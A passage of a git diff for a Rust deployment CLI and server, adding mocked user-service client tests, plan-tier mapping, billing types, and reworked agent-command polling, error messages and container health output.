+/// the cloud OS `image` column. Multi-app stacks have no single image (-> None);
+/// a single-member entry resolves that member's real image.
+fn resolve_stack_view_docker_image(value: &serde_json::Value) -> Option<String> {
+    if value
+        .get("is_stack")
+        .and_then(|v| v.as_bool())
+        .unwrap_or(false)
+    {
+        return None;
+    }
+    let members: Vec<&serde_json::Value> = ["apps", "services", "features"]
+        .iter()
+        .filter_map(|k| value.get(*k))
+        .filter_map(|v| v.as_array())
+        .flatten()
+        .collect();
+    if members.len() == 1 {
+        member_docker_image(members[0])
+    } else {
+        None
     }
 }
diff --git a/src/connectors/user_service/tests.rs b/src/connectors/user_service/tests.rs
index 4cc268aa..8757ace3 100644
--- a/src/connectors/user_service/tests.rs
+++ b/src/connectors/user_service/tests.rs
@@ -1,9 +1,10 @@
+use mockito::{Matcher, Server};
 use serde_json::json;
 use uuid::Uuid;
 
 use super::mock;
 use super::utils::is_plan_higher_tier;
-use super::{CategoryInfo, ProductInfo, UserProfile, UserServiceConnector};
+use super::{CategoryInfo, ProductInfo, UserProfile, UserServiceClient, UserServiceConnector};
 
 /// Test that get_user_profile returns user with products list
 #[tokio::test]
@@ -120,7 +121,10 @@ async fn test_mock_user_has_plan() {
         .unwrap();
     assert!(has_enterprise);
 
-    let has_basic = connector.user_has_plan("user_123", "basic", None).await.unwrap();
+    let has_basic = connector
+        .user_has_plan("user_123", "basic", None)
+        .await
+        .unwrap();
     assert!(has_basic);
 }
 
@@ -219,6 +223,196 @@ async fn test_mock_list_stacks() {
     assert_eq!(stacks[0].user_id, "user_123");
 }
 
+#[tokio::test]
+async fn test_get_installation_by_hash_uses_lightweight_route() {
+    let mut server = Server::new_async().await;
+    let _mock = server
+        .mock("GET", "/install/by-deployment-hash/dep-hash-123")
+        .match_header("authorization", "Bearer test_token")
+        .match_header("accept", Matcher::Any)
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_id": 13876,
+                "stack_code": "caddy",
+                "status": "completed",
+                "cloud": "htz",
+                "deployment_hash": "dep-hash-123",
+                "domain": "example.com",
+                "server_ip": "192.0.2.10",
+                "_created": "2026-04-25T08:53:54+00:00",
+                "_updated": "2026-04-25T08:54:04+00:00"
+            })
+            .to_string(),
+        )
+        .create_async()
+        .await;
+
+    let client = UserServiceClient::new_public(&server.url());
+    let installation = client
+        .get_installation_by_hash("test_token", "dep-hash-123")
+        .await
+        .unwrap();
+
+    assert_eq!(installation.id, Some(13876));
+    assert_eq!(installation.stack_code.as_deref(), Some("caddy"));
+    assert_eq!(
+        installation.deployment_hash.as_deref(),
+        Some("dep-hash-123")
+    );
+}
+
+#[tokio::test]
+async fn test_search_marketplace_templates_sends_query_upstream_and_filters_results() {
+    let mut server = Server::new_async().await;
+    let _mock = server
+        .mock("GET", "/applications/")
+        .match_header("authorization", "Bearer test_token")
+        .match_query(Matcher::AllOf(vec![
+            Matcher::UrlEncoded("q".to_string(), "dify".to_string()),
+            Matcher::UrlEncoded("max_results".to_string(), "10".to_string()),
+        ]))
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_items": [
+                    {
+                        "name": "OpenClaw preconfigured",
+                        "code": "openclaw-preconfigured",
+                        "description": "Experimental OpenClaw setup",
+                        "is_from_marketplace": true
+                    },
+                    {
+                        "name": "Dify",
+                        "code": "dify",
+                        "description": "Dify AI workflow platform",
+                        "is_from_marketplace": true
+                    }
+                ]
+            })
+            .to_string(),
+        )
+        .create_async()
+        .await;
+
+    let client = UserServiceClient::new_public(&server.url());
+    let results = client
+        .search_marketplace_templates("test_token", Some("dify"), None, None, None, Some(10))
+        .await
+        .unwrap();
+
+    assert_eq!(results.len(), 1);
+    assert_eq!(
+        results[0].get("code").and_then(|value| value.as_str()),
+        Some("dify")
+    );
+}
+
+#[tokio::test]
+async fn test_get_installation_falls_back_to_legacy_install_route() {
+    let mut server = Server::new_async().await;
+    let _api_mock = server
+        .mock("GET", "/api/1.0/installations/66")
+        .match_header("authorization", "Bearer test_token")
+        .with_status(404)
+        .with_header("content-type", "application/json")
+        .with_body(json!({ "_status": "ERR" }).to_string())
+        .create_async()
+        .await;
+    let _legacy_mock = server
+        .mock("GET", "/install/66")
+        .match_header("authorization", "Bearer test_token")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "installation": {
+                    "id": 66,
+                    "status": "completed",
+                    "deployment_hash": "dep-hash-66",
+                    "request_dump": {
+                        "stack_code": "coolify",
+                        "provider": "htz",
+                        "commonDomain": "example.com",
+                        "server_ip": "192.0.2.66"
+                    }
+                },
+                "agent_config": {
+                    "token": "agent-token"
+                }
+            })
+            .to_string(),
+        )
+        .create_async()
+        .await;
+
+    let client = UserServiceClient::new_public(&server.url());
+    let installation = client.get_installation("test_token", 66).await.unwrap();
+
+    assert_eq!(installation.id, Some(66));
+    assert_eq!(installation.stack_code.as_deref(), Some("coolify"));
+    assert_eq!(installation.cloud.as_deref(), Some("htz"));
+    assert_eq!(installation.domain.as_deref(), Some("example.com"));
+    assert_eq!(installation.server_ip.as_deref(), Some("192.0.2.66"));
+    assert!(installation.agent_config.is_some());
+}
+
+#[tokio::test]
+async fn test_get_subscription_plan_accepts_user_profile_fixture() {
+    let mut server = Server::new_async().await;
+    let _mock = server
+        .mock("GET", "/oauth_server/api/me")
+        .match_header("authorization", "Bearer test_token")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "user": {
+                    "_id": "user-1",
+                    "owner": 410,
+                    "role": "root",
+                    "email": "user@example.com",
+                    "plan": {
+                        "supported_stacks": {},
+                        "date_end": null,
+                        "name": "Team",
+                        "code": "plan-individual-monthly",
+                        "includes": [
+                            { "code": "deploys-unlimited", "name": "Unlimited deploys" },
+                            { "code": "providers-all", "name": "All providers" },
+                            { "code": "support-email", "name": "Email support" }
+                        ],
+                        "team": "TryDirect Team",
+                        "billing_email": "billing@try.direct",
+                        "date_of_purchase": "08 January 2026",
+                        "currency": "USD",
+                        "price": "79.00",
+                        "period": "month",
+                        "date_start": "08 January 2026",
+                        "active": true,
+                        "billing_id": "sub_123"
+                    }
+                }
+            })
+            .to_string(),
+        )
+        .create_async()
+        .await;
+
+    let client = UserServiceClient::new_public(&server.url());
+    let plan = client.get_subscription_plan("test_token").await.unwrap();
+
+    assert_eq!(plan.name.as_deref(), Some("Team"));
+    assert_eq!(plan.code.as_deref(), Some("plan-individual-monthly"));
+    assert_eq!(plan.price.as_deref(), Some("79.00"));
+    assert_eq!(plan.currency.as_deref(), Some("USD"));
+    assert_eq!(plan.period.as_deref(), Some("month"));
+    assert!(plan.includes.unwrap().is_array());
+}
+
 /// Test plan hierarchy comparison
 #[test]
 fn test_is_plan_higher_tier_hierarchy() {
@@ -292,6 +486,34 @@ fn test_user_profile_deserialization() {
     assert_eq!(profile.products[1].external_id, Some(42));
 }
 
+/// Regression test: the user service returns `{"user": {...}}`. The HTTP
+/// layer must unwrap that envelope before deserializing into `UserProfile`.
+#[test]
+fn test_parse_user_profile_unwraps_user_envelope() {
+    use super::client::parse_user_profile_response;
+    let body = r#"{
+        "user": {
+            "email": "alice@example.com",
+            "plan": {"name": "Free"},
+            "products": []
+        }
+    }"#;
+    let profile = parse_user_profile_response(body).unwrap();
+    assert_eq!(profile.email, "alice@example.com");
+}
+
+#[test]
+fn test_parse_user_profile_accepts_unwrapped_body() {
+    use super::client::parse_user_profile_response;
+    let body = r#"{
+        "email": "bob@example.com",
+        "plan": null,
+        "products": []
+    }"#;
+    let profile = parse_user_profile_response(body).unwrap();
+    assert_eq!(profile.email, "bob@example.com");
+}
+
 /// Test ProductInfo with optional fields
 #[test]
 fn test_product_info_deserialization() {
diff --git a/src/connectors/user_service/types.rs b/src/connectors/user_service/types.rs
index 0280da69..b757dbbf 100644
--- a/src/connectors/user_service/types.rs
+++ b/src/connectors/user_service/types.rs
@@ -49,6 +49,12 @@ pub struct UserProduct {
 /// User profile with ownership information
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct UserProfile {
+    /// Cross-service user identity. On the wire this is the `_id` field
+    /// from the user service; internally that maps to the `queue_key`
+    /// column. This is the value `deployment.user_id` is populated with
+    /// on create — the email field is *not* a join key.
+    #[serde(default, rename = "_id", alias = "id", alias = "queue_key")]
+    pub id: String,
     pub email: String,
     pub plan: Option<serde_json::Value>, // Plan details from existing endpoint
     #[serde(default)]
@@ -80,3 +86,29 @@ pub struct CategoryInfo {
     #[serde(default)]
     pub priority: Option<i32>,
 }
+
+// ── Per-install billing ─────────────────────────────────
+//
+// Opaque handle to a two-phase charge held by user_service. Stacker never
+// looks inside `authorization_id` — user_service is authoritative on the
+// underlying payment intent, refund history, and expiry.
+
+/// Authorization handle returned from `/marketplace/billing/authorize`.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct AuthorizationHandle {
+    pub authorization_id: String,
+    pub amount_minor: i64,
+    pub currency: String,
+    #[serde(default)]
+    pub expires_at: Option<String>,
+    pub status: String, // "authorized" | "captured" | "voided"
+}
+
+/// Result of `/marketplace/billing/can-charge` — cheap pre-authorize probe
+/// used inside the marketplace access gate.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct BillingCapability {
+    pub can_charge: bool,
+    #[serde(default)]
+    pub reason: Option<String>,
+}
diff --git a/src/connectors/user_service/utils.rs b/src/connectors/user_service/utils.rs
index 9af0fb33..668ee67e 100644
--- a/src/connectors/user_service/utils.rs
+++ b/src/connectors/user_service/utils.rs
@@ -1,13 +1,39 @@
+/// Maps a plan name/code returned by the User Service to a canonical tier name.
+/// The User Service may return display names (e.g. "Team", "Pro", "Enterprise")
+/// or plan codes (e.g. "plan-individual-monthly", "plan-pro-monthly").
+fn normalize_plan_to_tier(plan: &str) -> String {
+    match plan.to_lowercase().as_str() {
+        // Canonical names
+        "free" => "free",
+        "basic" => "basic",
+        "professional" | "pro" => "professional",
+        "team" => "professional",
+        "enterprise" => "enterprise",
+        // Plan codes (legacy / from User Service)
+        "plan-individual-monthly" => "enterprise",
+        "plan-individual-annualy" => "enterprise",
+        "plan-plus-monthly" => "professional",
+        "plan-plus-annualy" => "professional",
+        "plan-basic-monthly" => "basic",
+        "plan-basic-annualy" => "basic",
+        "plan-pro-monthly" | "plan-professional-monthly" => "professional",
+        "plan-enterprise-monthly" | "plan-enterprise-yearly" => "enterprise",
+        // Unknown — pass through as-is so the caller can decide
+        other => other,
+    }
+    .to_string()
+}
+
 /// Helper function to determine if a plan tier can access a required plan
 /// Hierarchy (lowest to highest): free < basic < professional < enterprise
 pub(crate) fn is_plan_higher_tier(user_plan: &str, required_plan: &str) -> bool {
     let plan_hierarchy = vec!["free", "basic", "professional", "enterprise"];
 
-    let user_lower = user_plan.to_lowercase();
-    let required_lower = required_plan.to_lowercase();
+    let user_tier = normalize_plan_to_tier(user_plan);
+    let required_tier = normalize_plan_to_tier(required_plan);
 
-    let user_level = plan_hierarchy.iter().position(|&p| p == user_lower.as_str());
-    let required_level = plan_hierarchy.iter().position(|&p| p == required_lower.as_str());
+    let user_level = plan_hierarchy.iter().position(|&p| p == user_tier);
+    let required_level = plan_hierarchy.iter().position(|&p| p == required_tier);
 
     match (user_level, required_level) {
         (Some(user_level), Some(required_level)) => user_level >= required_level,
diff --git a/src/console/commands/appclient/new.rs b/src/console/commands/appclient/new.rs
index 66ea3a16..f454a568 100644
--- a/src/console/commands/appclient/new.rs
+++ b/src/console/commands/appclient/new.rs
@@ -32,6 +32,7 @@ impl crate::console::commands::CallableTrait for NewCommand {
                 email: "email".to_string(),
                 email_confirmed: true,
                 role: "role".to_string(),
+                mfa_verified: false,
                 access_token: None,
             };
             crate::routes::client::add_handler_inner(&user.id, settings, db_pool).await?;
diff --git a/src/console/commands/cli/agent.rs b/src/console/commands/cli/agent.rs
index f565597c..9f86331a 100644
--- a/src/console/commands/cli/agent.rs
+++ b/src/console/commands/cli/agent.rs
@@ -9,12 +9,18 @@
 //! The CLI never connects to the agent directly. All communication is mediated
 //! by the Stacker server.
 
+use crate::cli::config_bundle::{build_config_bundle, ConfigBundleArtifacts};
+use crate::cli::config_parser::StackerConfig;
+use crate::cli::debug::cli_debug_enabled;
 use crate::cli::error::CliError;
 use crate::cli::fmt;
+use crate::cli::generator::compose::ComposeDefinition;
+use crate::cli::install_runner::resolve_docker_registry_credentials;
 use crate::cli::progress;
 use crate::cli::runtime::CliRuntime;
 use crate::cli::stacker_client::{AgentCommandInfo, AgentEnqueueRequest};
 use crate::console::commands::CallableTrait;
+use std::path::{Path, PathBuf};
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Deployment hash resolution
@@ -32,7 +38,7 @@ const DEFAULT_POLL_INTERVAL_SECS: u64 = 2;
 /// 1. Explicit `--deployment` flag value
 /// 2. `stacker.yml` project name → API project lookup → active agent hash (most reliable)
 /// 3. `.stacker/deployment.lock` → `deployment_id` → API lookup for hash (fallback)
-fn resolve_deployment_hash(
+pub(crate) fn resolve_deployment_hash(
     explicit: &Option<String>,
     ctx: &CliRuntime,
 ) -> Result<String, CliError> {
@@ -44,15 +50,32 @@ fn resolve_deployment_hash(
     }
 
     let project_dir = std::env::current_dir().map_err(CliError::Io)?;
-
-    // 2. stacker.yml project → active agent (takes priority over lock file)
-    // The lock file records the deployment_id at deploy time but the agent may
-    // have been redeployed since, leaving the lock pointing at a stale hash.
     let config_path = project_dir.join("stacker.yml");
+
+    // 2. stacker.yml deploy.deployment_hash — written by `stacker agent install`
+    // and `stacker deploy` after a successful remote deploy.
     if config_path.exists() {
-        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) {
-            if let Some(ref project_name) = config.project.identity {
-                if let Ok(Some(proj)) = ctx.block_on(ctx.client.find_project_by_name(project_name)) {
+        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+            .and_then(|c| c.with_resolved_deploy_target(None))
+        {
+            if let Some(ref hash) = config.deploy.deployment_hash {
+                if !hash.trim().is_empty() {
+                    return Ok(hash.clone());
+                }
+            }
+
+            // 3. stacker.yml project identity → active agent
+            // Falls back to config.name when project.identity is null.
+            let project_name = config
+                .project
+                .identity
+                .clone()
+                .filter(|s| !s.trim().is_empty())
+                .unwrap_or_else(|| config.name.clone());
+
+            if !project_name.trim().is_empty() {
+                if let Ok(Some(proj)) = ctx.block_on(ctx.client.find_project_by_name(&project_name))
+                {
                     match ctx.block_on(ctx.client.agent_snapshot_by_project(proj.id)) {
                         Ok((_, hash)) => {
                             eprintln!(
@@ -61,8 +84,15 @@ fn resolve_deployment_hash(
                             );
                             return Ok(hash);
                         }
-                        Err(_) => {
-                            // No active agent for this project; fall through to lock
+                        Err(_) => {}
+                    }
+
+                    // No active agent yet; try most recent deployment for the project
+                    if let Ok(deployments) =
+                        ctx.block_on(ctx.client.list_deployments(Some(proj.id), Some(1)))
+                    {
+                        if let Some(dep) = deployments.into_iter().next() {
+                            return Ok(dep.deployment_hash);
                         }
                     }
                 }
@@ -70,7 +100,7 @@ fn resolve_deployment_hash(
         }
     }
 
-    // 3. Deployment lock (fallback when no stacker.yml or no active project agent)
+    // 4. Deployment lock → integer ID → API lookup
     if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? {
         if let Some(dep_id) = lock.deployment_id {
             let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?;
@@ -87,6 +117,34 @@ fn resolve_deployment_hash(
     ))
 }
 
+pub(crate) fn resolve_registry_auth_for_agent_deploy(
+    project_dir: &Path,
+) -> Option<crate::forms::status_panel::RegistryAuthCommandRequest> {
+    let config_path = project_dir.join("stacker.yml");
+    let config = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+        .and_then(|config| config.with_resolved_deploy_target(None))
+        .ok()?;
+    let creds = resolve_docker_registry_credentials(&config);
+    let username = creds.get("docker_username")?.as_str()?.trim();
+    let password = creds.get("docker_password")?.as_str()?.trim();
+    if username.is_empty() || password.is_empty() {
+        return None;
+    }
+
+    let registry = creds
+        .get("docker_registry")
+        .and_then(|value| value.as_str())
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or("docker.io");
+
+    Some(crate::forms::status_panel::RegistryAuthCommandRequest {
+        registry: registry.to_string(),
+        username: username.to_string(),
+        password: password.to_string(),
+    })
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Shared agent command execution
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -96,7 +154,206 @@ fn resolve_deployment_hash(
 /// 1. Enqueues the command via the Stacker API
 /// 2. Shows a spinner while polling for the result
 /// 3. Returns the completed `AgentCommandInfo`
-fn run_agent_command(
+fn format_error_message(
+    message: &str,
+    code: Option<&str>,
+    details: Option<&serde_json::Value>,
+) -> String {
+    let mut formatted = message.to_string();
+    if let Some(code) = code.filter(|value| !value.trim().is_empty()) {
+        formatted = format!("{} ({})", formatted, code);
+    }
+    if let Some(details) = details {
+        let details = match details {
+            serde_json::Value::String(value) => value.clone(),
+            other => fmt::pretty_json(other),
+        };
+        if !details.trim().is_empty() {
+            formatted = format!("{}: {}", formatted, details);
+        }
+    }
+    formatted
+}
+
+fn json_error_message(value: &serde_json::Value) -> Option<String> {
+    match value {
+        serde_json::Value::String(message) if !message.trim().is_empty() => Some(message.clone()),
+        serde_json::Value::Object(map) => {
+            if let Some(first) = map
+                .get("errors")
+                .and_then(|value| value.as_array())
+                .and_then(|errors| errors.first())
+                .and_then(|value| value.as_object())
+            {
+                let message = first
+                    .get("message")
+                    .and_then(|value| value.as_str())
+                    .or_else(|| first.get("error").and_then(|value| value.as_str()))
+                    .or_else(|| first.get("detail").and_then(|value| value.as_str()))?;
+                let code = first.get("code").and_then(|value| value.as_str());
+                let details = first.get("details");
+                return Some(format_error_message(message, code, details));
+            }
+
+            let message = map
+                .get("message")
+                .and_then(|value| value.as_str())
+                .or_else(|| map.get("error").and_then(|value| value.as_str()))
+                .or_else(|| map.get("detail").and_then(|value| value.as_str()))?;
+            let code = map.get("code").and_then(|value| value.as_str());
+            let details = map.get("details");
+            Some(format_error_message(message, code, details))
+        }
+        _ => None,
+    }
+}
+
+fn sanitize_npm_credentials_message(raw_message: String, code: Option<&str>) -> String {
+    // Fall back to substring match when the error arrives as a pre-formatted string
+    // with no structured "code" field (the server embeds the code inline).
+    if code == Some("npm_credentials_invalid") || raw_message.contains("npm_credentials_invalid") {
+        let user_msg = "NPM credentials are invalid or missing. \
+                        Update them with:\n  \
+                        stacker secrets set npm_credentials --scope server \
+                        --body-file ./npm_credentials.json"
+            .to_string();
+        if cli_debug_enabled() {
+            format!("{}\n  [debug] {}", user_msg, raw_message)
+        } else {
+            user_msg
+        }
+    } else {
+        raw_message
+    }
+}
+
+fn agent_command_error_message(info: &AgentCommandInfo) -> Option<String> {
+    if let Some(error) = info.error.as_ref() {
+        let raw = json_error_message(error).unwrap_or_else(|| fmt::pretty_json(error));
+        let code = error
+            .get("code")
+            .and_then(|v| v.as_str())
+            .or_else(|| error.get("error_code").and_then(|v| v.as_str()));
+        return Some(sanitize_npm_credentials_message(raw, code));
+    }
+
+    let result = info.result.as_ref()?;
+    let reported_status = result.get("status").and_then(|value| value.as_str());
+    let result_is_error = matches!(reported_status, Some("error" | "failed"))
+        || result.get("success").and_then(|value| value.as_bool()) == Some(false)
+        || result.get("ok").and_then(|value| value.as_bool()) == Some(false);
+
+    if !result_is_error {
+        return None;
+    }
+
+    let raw_message = json_error_message(result)
+        .unwrap_or_else(|| "Agent command reported an application error".to_string());
+
+    // "code" is already embedded into raw_message by format_error_message.
+    // "error_code" is a separate field not yet appended — handled below.
+    let inline_code = result.get("code").and_then(|v| v.as_str());
+    let extra_code = result.get("error_code").and_then(|v| v.as_str());
+
+    let mut message = sanitize_npm_credentials_message(raw_message, inline_code.or(extra_code));
+
+    // Append extra_code (the "error_code" field) if present — it is NOT yet in the message.
+    if let Some(code) = extra_code {
+        // Skip appending if sanitize_npm_credentials_message already replaced the whole message.
+        if inline_code != Some("npm_credentials_invalid") {
+            message = format!("{} ({})", message, code);
+            if code == "npm_create_failed" {
+                message = format!(
+                    "{}\n\n{}",
+                    message,
+                    npm_create_failed_guidance(Some(result))
+                );
+            }
+        }
+    }
+    Some(message)
+}
+
+fn npm_create_failed_guidance(result: Option<&serde_json::Value>) -> String {
+    let domain = result
+        .and_then(|value| value.get("domain_names"))
+        .and_then(|value| value.as_array())
+        .and_then(|domains| domains.first())
+        .and_then(|value| value.as_str())
+        .or_else(|| {
+            result
+                .and_then(|value| value.get("domain"))
+                .and_then(|value| value.as_str())
+        })
+        .unwrap_or("<domain>");
+
+    format!(
+        "Route diagnostics:\n\
+         - Nginx Proxy Manager may have created the host despite returning an error; check for an existing host for {domain} and retry configure-proxy to adopt it.\n\
+         - Verify DNS A/AAAA records for {domain} point at this server before requesting Let's Encrypt.\n\
+         - Ensure cloud firewall ports are open: stacker cloud firewall add --server-id <server-id> --public-ports 80/tcp,443/tcp\n\
+         - Check for a duplicate NPM proxy host using the same domain.\n\
+         - SSL is off by default; add --ssl only once DNS is confirmed and ports 80/443 are open."
+    )
+}
+
+async fn execute_agent_command(
+    ctx: &CliRuntime,
+    request: &AgentEnqueueRequest,
+    timeout: u64,
+) -> Result<AgentCommandInfo, CliError> {
+    let info = ctx.client.agent_enqueue(request).await?;
+    let command_id = info.command_id.clone();
+    let deployment_hash = request.deployment_hash.clone();
+
+    let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
+    let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS);
+    let mut last_status = "pending".to_string();
+
+    loop {
+        tokio::time::sleep(interval).await;
+
+        if tokio::time::Instant::now() >= deadline {
+            return Err(CliError::AgentCommandTimeout {
+                command_id: command_id.clone(),
+                command_type: request.command_type.clone(),
+                last_status,
+                deployment_hash,
+            });
+        }
+
+        let status = ctx
+            .client
+            .agent_command_status(&deployment_hash, &command_id)
+            .await?;
+
+        last_status = status.status.clone();
+
+        match status.status.as_str() {
+            "completed" => {
+                if let Some(error) = agent_command_error_message(&status) {
+                    return Err(CliError::AgentCommandFailed {
+                        command_id: command_id.clone(),
+                        error,
+                    });
+                }
+                return Ok(status);
+            }
+            "failed" | "cancelled" => {
+                let error = agent_command_error_message(&status).unwrap_or_else(|| {
+                    format!("Agent command ended with status '{}'", status.status)
+                });
+                return Err(CliError::AgentCommandFailed {
+                    command_id: command_id.clone(),
+                    error,
+                });
+            }
+            _ => continue,
+        }
+    }
+}
+
+pub(crate) fn run_agent_command(
     ctx: &CliRuntime,
     request: &AgentEnqueueRequest,
     spinner_msg: &str,
@@ -109,8 +366,7 @@ fn run_agent_command(
         let command_id = info.command_id.clone();
         let deployment_hash = request.deployment_hash.clone();
 
-        let deadline =
-            tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
+        let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
         let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS);
         let mut last_status = "pending".to_string();
 
@@ -132,30 +388,45 @@ fn run_agent_command(
                 .await?;
 
             last_status = status.status.clone();
-            progress::update_message(
-                &pb,
-                &format!("{} [{}]", spinner_msg, status.status),
-            );
+            progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status));
 
             match status.status.as_str() {
-                "completed" | "failed" => return Ok(status),
+                "completed" => {
+                    if let Some(error) = agent_command_error_message(&status) {
+                        return Err(CliError::AgentCommandFailed {
+                            command_id: command_id.clone(),
+                            error,
+                        });
+                    }
+                    return Ok(status);
+                }
+                "failed" | "cancelled" => {
+                    let error = agent_command_error_message(&status).unwrap_or_else(|| {
+                        format!("Agent command ended with status '{}'", status.status)
+                    });
+                    return Err(CliError::AgentCommandFailed {
+                        command_id: command_id.clone(),
+                        error,
+                    });
+                }
                 _ => continue,
             }
         }
     });
 
     match &result {
-        Ok(info) if info.status == "completed" => {
-            progress::finish_success(&pb, &format!("{} ✓", spinner_msg));
-        }
-        Ok(info) => {
-            progress::finish_error(&pb, &format!("{} — {}", spinner_msg, info.status));
-        }
+        Ok(_) => progress::finish_success(&pb, spinner_msg),
         Err(e) => {
-            let short_msg = if matches!(e, CliError::AgentCommandTimeout { .. }) {
-                format!("{} — timed out", spinner_msg)
-            } else {
-                format!("{} — {}", spinner_msg, e)
+            let short_msg = match e {
+                CliError::AgentCommandTimeout { .. } => {
+                    format!("{} — timed out", spinner_msg)
+                }
+                CliError::AgentCommandFailed { error, .. } => {
+                    format!("{} — {}", spinner_msg, error)
+                }
+                _ => {
+                    format!("{} — {}", spinner_msg, e)
+                }
             };
             progress::finish_error(&pb, &short_msg);
         }
@@ -175,14 +446,120 @@ fn print_command_result(info: &AgentCommandInfo, json: bool) {
 
     println!("Command:  {}", info.command_id);
     println!("Type:     {}", info.command_type);
-    println!("Status:   {} {}", progress::status_icon(&info.status), info.status);
+    println!(
+        "Status:   {} {}",
+        progress::status_icon(&info.status),
+        info.status
+    );
 
     if let Some(ref result) = info.result {
         println!("\n{}", fmt::pretty_json(result));
     }
 
-    if let Some(ref error) = info.error {
-        eprintln!("\nError: {}", fmt::pretty_json(error));
+    if let Some(error) = agent_command_error_message(info) {
+        eprintln!("\nError: {}", error);
+    }
+}
+
+fn print_health_result(info: &AgentCommandInfo) {
+    if let Some(ref result) = info.result {
+        let result_type = result.get("type").and_then(|v| v.as_str()).unwrap_or("");
+
+        // "all_health": list of all containers
+        if result_type == "all_health" {
+            let overall = result.get("status").and_then(|v| v.as_str()).unwrap_or("-");
+            println!("Overall: {} {}", progress::status_icon(overall), overall);
+            println!();
+            if let Some(containers) = result.get("containers").and_then(|v| v.as_array()) {
+                println!("{:<28} {:<10} {}", "CONTAINER", "STATE", "STATUS");
+                for c in containers {
+                    let name = c
+                        .get("container_name")
+                        .and_then(|v| v.as_str())
+                        .unwrap_or("-");
+                    let state = c
+                        .get("container_state")
+                        .and_then(|v| v.as_str())
+                        .unwrap_or("-");
+                    let status = c.get("status").and_then(|v| v.as_str()).unwrap_or("-");
+                    println!(
+                        "{:<28} {} {:<8} {}",
+                        fmt::truncate(name, 26),
+                        progress::status_icon(state),
+                        state,
+                        status,
+                    );
+                }
+            }
+            return;
+        }
+
+        // Single-container health
+        if result_type == "health" {
+            let state = result
+                .get("container_state")
+                .and_then(|v| v.as_str())
+                .unwrap_or("-");
+            let status = result.get("status").and_then(|v| v.as_str()).unwrap_or("-");
+            let app = result
+                .get("app_code")
+                .and_then(|v| v.as_str())
+                .unwrap_or("-");
+            println!(
+                "{}: {} {} ({})",
+                app,
+                progress::status_icon(state),
+                state,
+                status
+            );
+            if let Some(metrics) = result.get("metrics") {
+                println!("{}", fmt::pretty_json(metrics));
+            }
+            return;
+        }
+
+        // Fallback
+        println!("{}", fmt::pretty_json(result));
+    }
+
+    if let Some(error) = agent_command_error_message(info) {
+        eprintln!("Error: {}", error);
+    }
+}
+
+fn print_all_container_health(containers: &[serde_json::Value]) {
+    if containers.is_empty() {
+        println!("No containers found.");
+        return;
+    }
+
+    let all_running = containers.iter().all(|c| {
+        let state = c.get("status").and_then(|v| v.as_str()).unwrap_or("-");
+        state == "running"
+    });
+    let overall = if all_running { "running" } else { "degraded" };
+    println!("Overall: {} {}", progress::status_icon(overall), overall);
+    println!();
+
+    println!(
+        "{:<28} {:<12} {:<8} {:<8} {}",
+        "CONTAINER", "STATE", "CPU%", "MEM%", "IMAGE"
+    );
+    for c in containers {
+        let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-");
+        let state = c.get("status").and_then(|v| v.as_str()).unwrap_or("-");
+        let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-");
+        let cpu = c.get("cpu_pct").and_then(|v| v.as_f64()).unwrap_or(0.0);
+        let mem = c.get("mem_pct").and_then(|v| v.as_f64()).unwrap_or(0.0);
+        println!(
+            "{:<28} {} {:<10} {:<8.1} {:<8.1} {}",
+            fmt::truncate(name, 26),
+            progress::status_icon(state),
+            state,
+            cpu,
+            mem,
+            fmt::truncate(image, 30),
+        );
     }
 }
 
@@ -194,23 +571,27 @@ fn print_command_result(info: &AgentCommandInfo, json: bool) {
 ///
 /// Returns `Ok(())` when it's safe to proceed, or a `CliError` when the user
 /// aborts or the prompt cannot be answered.
-fn check_active_connections(
-    ctx: &CliRuntime,
-    hash: &str,
-    force: bool,
-) -> Result<(), CliError> {
+fn check_active_connections(ctx: &CliRuntime, hash: &str, force: bool) -> Result<(), CliError> {
     let params = crate::forms::status_panel::CheckConnectionsCommandRequest { ports: None };
     let request = AgentEnqueueRequest::new(hash, "check_connections")
         .with_parameters(&params)
         .map_err(|e| CliError::ConfigValidation(format!("check_connections parameters: {}", e)))?;
 
-    let info = match run_agent_command(ctx, &request, "Checking active connections", 15) {
-        Ok(info) => info,
-        Err(_) => {
+    let pb = progress::spinner("Checking active connections");
+    let info = match ctx.block_on(execute_agent_command(ctx, &request, 15)) {
+        Ok(info) => {
+            progress::finish_success(&pb, "Checking active connections");
+            info
+        }
+        Err(err) => {
             // Non-fatal: if the check times out or fails we warn but proceed.
-            eprintln!(
-                "\x1b[33m⚠ Connection check skipped (agent did not respond in time)\x1b[0m"
-            );
+            progress::finish_warning(&pb, "Checking active connections — skipped");
+            let reason = if matches!(err, CliError::AgentCommandTimeout { .. }) {
+                "agent did not respond in time"
+            } else {
+                "agent could not verify active connections"
+            };
+            eprintln!("\x1b[33m⚠ Connection check skipped ({})\x1b[0m", reason);
             return Ok(());
         }
     };
@@ -234,11 +615,17 @@ fn check_active_connections(
     }
 
